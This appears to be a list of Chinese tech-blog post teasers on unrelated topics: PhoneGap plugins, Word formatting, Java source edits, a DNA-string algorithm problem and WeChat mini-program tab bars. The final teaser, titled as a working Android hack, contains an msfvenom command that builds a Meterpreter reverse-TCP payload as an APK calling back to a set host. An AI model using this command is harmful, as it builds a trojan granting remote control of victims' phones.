  5. phonegap android插件,启动activity并返回值

    Your execute menthod is not quite right. When you do: return new PluginResult(PluginResult.Status.OK ...

  6. 设定Word段落的背景色

    段落背景不同于文字区别.很多新接触word的朋友都找不到怎么弄. 先把光标停留在需要设置的段落文字上,或者选择需要设置的段落文字. 点击段落里的边框和底纹,如图 在弹出框中选择底纹. 选择需要填充的颜 ...

  7. Java源码更改的方式

    1.找到要改的类所在包名地址. 比如标签名的更改: <s:debug></s:debug> (1)ctril+鼠标左键========双击标签,就会弹出标签所在的类的文本 (2 ...

  8. LA 3602 DNA Consensus String (暴力枚举)

    题意:给定m个长度为n的DNA序列,求一个最短的DNA序列,使得总Hamming距离最小. Hamming距离等于字符不同的位置个数. 析:看到这个题,我的第一感觉是算时间复杂度,好小,没事,完全可以 ...

  9. 微信小程序底部导航Tabbar

    1,底部导航栏这个功能是非常常见的一个功能,基本上一个完成的app,都会存在一个导航栏,那么微信小程序的导航栏该怎么实现呢?经过无数的踩坑,终于实现了,好了,先看看效果图. 2,对于底部导航栏,小程序 ...

  10. [可用]android hack

    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.237 LPORT=4444 R > shell.apk service ...